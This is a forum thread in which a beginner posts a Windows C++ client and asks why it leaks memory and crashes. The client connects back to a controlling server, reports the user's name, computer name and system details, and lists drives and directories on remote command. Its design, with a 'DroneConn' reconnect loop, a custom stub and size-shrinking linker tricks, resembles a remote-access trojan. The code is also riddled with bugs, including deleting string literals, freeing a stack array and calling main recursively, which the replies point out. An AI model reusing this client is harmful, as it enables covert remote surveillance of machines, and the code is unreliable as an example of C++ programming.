Thread: [Whole program] a beginner in c++ needs help finding this "memory leak"

  1. #1
    Registered User
    Join Date
    Jan 2006
    Posts
    29

    [Whole program] a beginner in c++ needs help finding this "memory leak"

    after this thread http://cboard.cprogramming.com/showthread.php?t=74581 , i havent been able to fix my issues so well maybe the code is found elsewhere. maybe someone can help me with this one... coz i am being stuck here. my server is already coded in delphi, original client too. but i am recoding everything from scratch starting from the client (what i am currently posting). I have done intensive testing and... my application tends to CRASH... after receiving 20 or more requests for drive lists. memory levels do NOT do down at ALL. and this is starting to make me MAD i reviewed every single function and ... used delete[] whereever i could. no success. so i am just going to post the full code now. compiler directives for those who dont know are making my application around 8kb, i know it can be optimised even more but i must grasp my errors first and work on a stable solid base. so here is the total c++ code for my backbone(i am barely at 1% of the total project)


    for those who need the project files. + custom stub find it here:
    http://mas0.info/sb/project.zip
    Code:
    #pragma comment(linker,"/SECTION:.text,EWR /IGNORE:4078 /FILEALIGN:0x200")
    #pragma comment(linker,"/OPT:NOWIN98 /STUB:stub.exe /INCREMENTAL:NO") 
    #pragma comment(linker,"/ENTRY:main /MERGE:.rdata=.text /MERGE:.data=.text") 
    //
    #pragma comment(lib, "msvcrt.lib")
    #pragma comment(lib, "ws2_32.lib")
    #pragma comment(lib, "urlmon.lib")
    #pragma comment(lib, "wininet.lib")
    
    #include <winsock2.h>
    #include <windows.h>
    #include <tlhelp32.h>
    #include <stdio.h>
    #include <wininet.h>
    
    
    char *Version = "Server v0.01";
    
    //SENT
    char * CMD_SEND_CONNECT_INFO="0#";
    char * CMD_DRIVE_LIST="22#";
    char * CMD_INFO="20#";
    char * CMD_DIRECTORY_INFO="21#";
    
    //RECEIVED
    char * CMD_SEND_COMPUTER_INFO="1";
    char * CMD_SEND_DIRS="3";
    char * CMD_SEND_DRIVES="4";
    
    
    
    WSAEVENT SocketEvent;
    SOCKET connect_socket;
    sockaddr_in client;
    BOOL Authorized = false;
    
    int main();
    int DroneConn();
    
    char* IP()
    {
    	WORD wVersionRequested;
    	WSADATA wsaData;
    	char name[255];
    	char *localIP= new char [255];
    	PHOSTENT hostinfo;
    	wVersionRequested = MAKEWORD(2,0);
    
    	if ( WSAStartup(wVersionRequested, &wsaData) == 0 )
    	{
    		if( gethostname (name, sizeof(name)) == 0)
    		{
    			if((hostinfo = gethostbyname(name)) != NULL)
    			{
    				sprintf(localIP, "%s", inet_ntoa (*(struct in_addr *)*hostinfo->h_addr_list));
    			}
    		}
    		WSACleanup();
    		return localIP;
    	} else {
    		return "NA";
    	}
    }
    
    char* WindowsVer()
    {
    	OSVERSIONINFO osinfo;
    	ZeroMemory(&osinfo, sizeof(OSVERSIONINFO));
    	osinfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
    	GetVersionExA(&osinfo);
    
    	switch (osinfo.dwPlatformId)
    	{
    	case 1:
    		if(osinfo.dwMinorVersion < 10){
    			return "Windows 95";
    			break;
    		} else if(osinfo.dwMinorVersion == 10){
    			return "Windows 98";
    			break;
    		} else {
    			return "Windows ME";
    			break;
    		}
    	case 2:
    		if(osinfo.dwMajorVersion == 3 || osinfo.dwMajorVersion == 4){
    			return "Windows NT";
    			break;
    		} else if(osinfo.dwMajorVersion == 5){
    			if (osinfo.dwMinorVersion == 0) {
    				return "Windows 2000";
    				break;
    			} else {
    				return "Windows XP";
    				break;
    			}
    		}
    	case 3:
    		return "Windows CE";
    		break;
    	default:
    		return "NA";
    		break;
    	}
    }
    
    
    char* GetUserName()
    {
    	char *User;
    	User = new char[MAX_PATH];
    	unsigned long len = MAX_PATH;
    	GetUserName(User,&len);
    	return User;
    }
    
    char* GetComputerName()
    {
    	char *User;
    	User = new char[MAX_PATH];
    	unsigned long len = MAX_PATH;
    	GetComputerName(User, &len);
    	return User;
    }
    
    char* Processor()
    {
    	HKEY Handle;
    	
    	DWORD Mhz;
    	DWORD Type = REG_DWORD;
        DWORD Size = sizeof(DWORD);
    
    	if(RegOpenKeyEx(HKEY_LOCAL_MACHINE, "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", 0,  KEY_ALL_ACCESS, &Handle) == ERROR_SUCCESS)
    	{
    		if (RegQueryValueEx(Handle, "~MHz", NULL, &Type, (LPBYTE)&Mhz, &Size) == ERROR_SUCCESS)
    		{
    			char* rtn;
    			rtn = new char[20];
    			sprintf(rtn, "%d Mhz", Mhz);
    			return rtn;	
    		} else {
    			return "-";
    		}
    		RegCloseKey(Handle);
    	} else {
    		return "-";
    	}
    }
    
    char* Connection()
    {
    	DWORD State;
    	DWORD Ret;
    	Ret = InternetGetConnectedState(&State, 0);
    	if (Ret)
    	{	
    		if(State & INTERNET_CONNECTION_LAN)
    		{ 
    			return "LAN";
    		} 
    		else if(State & INTERNET_CONNECTION_MODEM)
    		{
    			return "Modem";
    		}
    		else if(State & INTERNET_CONNECTION_PROXY)
    		{
    			return "Proxy";
    		} else {return "NA";}
    	} else {return "NA";}
    }
    
    char* GetLanguage()
    {
    	LCID locale;
    	char* code;
    	code = new char[100];
    	locale = GetSystemDefaultLangID();
    	VerLanguageName(locale, (LPTSTR)code, 100);
    	if (code != NULL) {
    		return code;
    	} else {return "NA";}
    }
    
    char* WindowsPath()
    {
    	char* Path;
    	Path = new char[MAX_PATH];
    	GetWindowsDirectory(Path, MAX_PATH);
    	return Path;
    }
    
    char* SystemPath()
    {
    	char* Path;
    	Path = new char[MAX_PATH];
    	GetSystemDirectory(Path, MAX_PATH);
    	return Path;
    }
    
    
    char* GetComputerInfo()
    {
    	char* PcInfo=new char[1024];
    	strcpy(PcInfo,CMD_INFO);
    	strcat(PcInfo,"Operating System:  ");
    	char * temp = WindowsVer();
    	strcat(PcInfo,temp);	delete[] temp;
    	strcat(PcInfo,"\r\nProcessor Speed :  ");
    	temp =Processor();
    	strcat(PcInfo,temp);	delete[] temp;
    	strcat(PcInfo,"\r\nLocal IP :  ");
    	temp =IP();
    	strcat(PcInfo,IP());	delete[] temp;
    	strcat(PcInfo,"\r\nLocal Language :  ");
    	temp =GetLanguage();
    	strcat(PcInfo,temp);	delete[] temp;
    	strcat(PcInfo,"\r\nWindows Directory :  ");
    	temp = WindowsPath();
    	strcat(PcInfo,temp);	delete[] temp;
    	strcat(PcInfo,"\r\nSystem Directory :  ");
    	temp = SystemPath();
    	strcat(PcInfo,temp);	delete[] temp;
    	strcat(PcInfo,"\r\nUser Name :  ");
    	temp = GetUserName();
    	strcat(PcInfo,temp);	delete[] temp;
    	strcat(PcInfo,"\r\nComputer Name :  ");
    	temp =GetComputerName();
    	strcat(PcInfo,temp);	delete[] temp;
    
    return PcInfo;
    
    }
    
    
    char* IntToStr(int num)
    
    
    {
    char * lpBufferOut= new char[11];
    sprintf(lpBufferOut, "%d", num);
    return lpBufferOut;
    }
    
    char* DirList(char *path) 
    {
    	char *FileList = new char[10000];
    	char *temppath = new char[strlen(path) + 4];
    
    	char *tmpstr;
    	WIN32_FIND_DATA DataStruct;	
    	
    	HANDLE FindHandle;
    	
    	strcpy(FileList,path);
    	strcat(FileList,"\r");
    	
    	strcpy(temppath,path);	
    	strcat(temppath,"*.*");	
    			
    	FindHandle = FindFirstFile(temppath, &DataStruct);
    	if (FindHandle == INVALID_HANDLE_VALUE)
    		{
    			return "!Invalid Directory";
    			
    		}																
    	do
    		{
    			tmpstr = DataStruct.cFileName;
    			if ((strcmp(DataStruct.cFileName,".") != 0 ) && (strcmp(DataStruct.cFileName,"..") != 0 ))
    			{
    
    			if ((DataStruct.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY))
    				{
    				strcat(FileList,"\\");
    				}
    			
    			strcat(FileList,DataStruct.cFileName);
    			strcat(FileList,";");
    			char *strsize= IntToStr(DataStruct.nFileSizeLow);
    			strcat(FileList,strsize);
    			delete [] strsize;
    			strcat(FileList,"\r");
    			}
    		}while((FindNextFile(FindHandle,&DataStruct)) != false);
    	FindClose(FindHandle);
    	
    	
    
    	char * result = new char[strlen(FileList) + 13];
    	strcpy(result,CMD_DIRECTORY_INFO);
    	strcat(result,IntToStr(strlen(FileList)));
    	strcat(result,"#");
    	strcat(result,FileList);
    	
    	delete[]tmpstr;
    	delete[]temppath;
    	delete[]FileList;
    
    
    	return result;
    }
    
    char* EnumDrives() 
    {
    char *Result=new char[1024];
    		strcpy(Result,CMD_DRIVE_LIST);
    		char szDrive[]="A:\\";
    
    		while(szDrive[0]<='Z')
    			{
    			switch (GetDriveType(szDrive))
    			{
    				
    				case DRIVE_FIXED:
    					strcat(Result,szDrive);
    					strcat(Result," [Fixed] \r\n");
    					break;
    				case DRIVE_REMOVABLE:
    					strcat(Result,szDrive);
    					strcat(Result," [Removable] \r\n");
    					break;
    				case DRIVE_CDROM:
    					strcat(Result,szDrive);
    					strcat(Result," [CD-ROM] \r\n");
    					break;
    				case DRIVE_RAMDISK:
    					strcat(Result,szDrive);
    					strcat(Result," [RAM] \r\n");
    					break;
    				case DRIVE_REMOTE:
    					strcat(Result,szDrive);
    					strcat(Result," [Remote Drive] \r\n");
    				
    				}
    
    			szDrive[0]++; 
    		
    			}
    		return Result;
    }
    
    char *EnumCmd(char *Rcvd)
    {
    	
    	char *ParamStr[8];
    	int i = 0;	
    	char * ret;
    
    	/////////////////////////////////////TOKENIZE/////////////////////////////////////////
    	ParamStr[0] = strtok (Rcvd,"#");
    	ParamStr[1] = new char[strlen(Rcvd)+1-strlen(ParamStr[0])] = strtok (NULL, "#");
    
    	////////////////////////////////////END_TOKENIZE//////////////////////////////////////
    
    
    	if (strcmp(ParamStr[0],CMD_SEND_DRIVES) ==0 )
    	{
    		
    		ret = EnumDrives() ;
    	}
    	else if (strcmp(ParamStr[0],CMD_SEND_COMPUTER_INFO) ==0 )
    	{
    		
    		ret = GetComputerInfo() ;
    	}
    
    	else if (strcmp(ParamStr[0],CMD_SEND_DIRS) ==0 )
    	{
    		
    		ret = DirList(ParamStr[1]) ;
    	}
    	else
    		ret = "!No........";
    
    
    delete[] ParamStr[0];
    delete[] ParamStr[1];
    return ret;
    }
    
    void EnumEvents()
    {
    	WSANETWORKEVENTS EventStruct;
    
    
    	WaitForSingleObject(SocketEvent,INFINITE);
    
    	WSAEnumNetworkEvents(connect_socket,SocketEvent,&EventStruct);
    
    	if((EventStruct.lNetworkEvents & FD_CONNECT) && (EventStruct.iErrorCode[FD_CONNECT_BIT] == 0))
    	{ 
    		
    		char * connectionstring = new char[2048];
    		
    		strcpy(connectionstring,CMD_SEND_CONNECT_INFO);
    		char * temp = WindowsVer();
    		strcat(connectionstring,temp);
    		delete[] temp;
    		strcat(connectionstring,"#");
    		temp = GetUserName();
    		strcat(connectionstring,temp);
    		delete[] temp;
    		strcat(connectionstring,"#");
    		temp =GetComputerName();
    		strcat(connectionstring,temp);
    		delete[] temp;
    		strcat(connectionstring,"#");
    		temp =Processor();
    		strcat(connectionstring,temp);
    		delete []temp;
    		strcat(connectionstring,"#");
    		temp =Connection();
    		strcat(connectionstring,temp);
    		delete[] temp;
    		strcat(connectionstring,"#");
    		strcat(connectionstring,"YES"); 
    		send(connect_socket,connectionstring,strlen(connectionstring),0);
    		delete [] connectionstring;
    	}
    
    	if((EventStruct.lNetworkEvents & FD_CLOSE) && (EventStruct.iErrorCode[FD_CLOSE_BIT] == 0))
    	{
    		MessageBox(0,"Server has disconnected","",0);
    		WSACleanup();
    		main();
    	}
    
    	if((EventStruct.lNetworkEvents & FD_READ) && (EventStruct.iErrorCode[FD_READ_BIT] == 0))
    	{
    		char RBuf[4096] = "";
    		recv(connect_socket,RBuf,4096,0);
    		char *tempresult=EnumCmd(RBuf);
    		send(connect_socket,tempresult,strlen(tempresult),0);
    		free(RBuf);
    		delete[] tempresult;
    	}
    
    	if((EventStruct.lNetworkEvents & FD_WRITE) && (EventStruct.iErrorCode[FD_WRITE_BIT] == 0))
    	{
    		//MessageBox(0,"Server has written on connection","",0);
    	}
    
    	WSAResetEvent(SocketEvent); 
    	EnumEvents();
    }
    
    int main()
    {
    	
    	WSACleanup();
    	WSADATA wsaData;
    
    	int iResult = WSAStartup(MAKEWORD(2,2),&wsaData);
    	if (iResult != NO_ERROR)
    	{
    		MessageBox(0,"Startup Error","",0);
    		WSACleanup();
    		ExitProcess(0);
    	}
    
    	connect_socket = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
    
    	client.sin_family = AF_INET;
    	client.sin_addr.s_addr = inet_addr("127.0.0.1");
    	client.sin_port = htons(200);
    
    	SocketEvent = WSACreateEvent();
    
    	DroneConn();
    
    	WSAEventSelect(connect_socket,SocketEvent,FD_CONNECT|FD_READ|FD_WRITE|FD_CLOSE);
    
    	EnumEvents();
    
    	main();
    
    	return 0;
    }
    
    int DroneConn()
    {
    	while (connect(connect_socket, (SOCKADDR*) &client, sizeof(client)) == SOCKET_ERROR)
    	{
    		Sleep(5000);
    	}
    	return 0;
    }

  2. #2
    carry on JaWiB's Avatar
    Join Date
    Feb 2003
    Location
    Seattle, WA
    Posts
    1,972
    I don't have time to go over your entire code right now, but I see a couple problems. First of all, you should call delete only on strings allocated with new. So in this function, for example:
    Code:
    char* GetLanguage()
    {
    	LCID locale;
    	char* code;
    	code = new char[100];
    	locale = GetSystemDefaultLangID();
    	VerLanguageName(locale, (LPTSTR)code, 100);
    	if (code != NULL) {
    		return code;
    	} else {return "NA";} 
    }
    If it returns "NA" you can't delete it. You would probably be better off returning NULL since it is ok to call delete on a null pointer, if I recall correctly.

    Also, you should not call main at all in your code. You'll probably need to do some restructuring of your code (for example, using a loop) to avoid doing this.
    "Think not but that I know these things; or think
    I know them not: not therefore am I short
    Of knowing what I ought."
    -John Milton, Paradise Regained (1671)

    "Work hard and it might happen."
    -XSquared

  3. #3
    and the hat of int overfl Salem's Avatar
    Join Date
    Aug 2001
    Location
    The edge of the known universe
    Posts
    39,660
    Given the number of coding horrors in that, I'm amazed that it even runs at all without crashing, let alone just leaking memory.

    You use free/delete on things which were never allocated.
    You mix free and delete
    You're using C style strings in a C++ program - why oh why are you doing this - use std::string

    > here is the total c++ code for my backbone(i am barely at 1% of the total project)
    Go back to learning how to program first - if this is 1%, you will fail.

  4. #4
    Registered User
    Join Date
    Jan 2005
    Posts
    106
    "You're using C style strings in a C++ program - why oh why are you doing this - use std::string"

    Indeed O_o. While many people argue that C-style methods for things are better (er, printf instead of cout, for example -- iostream is apparently a bit bloated) c-style strings are... very rarely one of these thing!

    Also, WTF are you even making O_o

  5. #5
    Frequently Quite Prolix dwks's Avatar
    Join Date
    Apr 2005
    Location
    Canada
    Posts
    8,057
    Also, you should not call main at all in your code. You'll probably need to do some restructuring of your code (for example, using a loop) to avoid doing this.
    In C++ it's illegal to call main(). In C you can do it, though.
    dwk

    Seek and ye shall find. quaere et invenies.

    "Simplicity does not precede complexity, but follows it." -- Alan Perlis
    "Testing can only prove the presence of bugs, not their absence." -- Edsger Dijkstra
    "The only real mistake is the one from which we learn nothing." -- John Powell


    Other boards: DaniWeb, TPS
    Unofficial Wiki FAQ: cpwiki.sf.net

    My website: http://dwks.theprogrammingsite.com/
    Projects: codeform, xuni, atlantis, nort, etc.

  6. #6
    !anExpert
    Join Date
    Mar 2005
    Location
    pa
    Posts
    155
    btw.. your website is pretty nice..

Popular pages Recent additions subscribe to a feed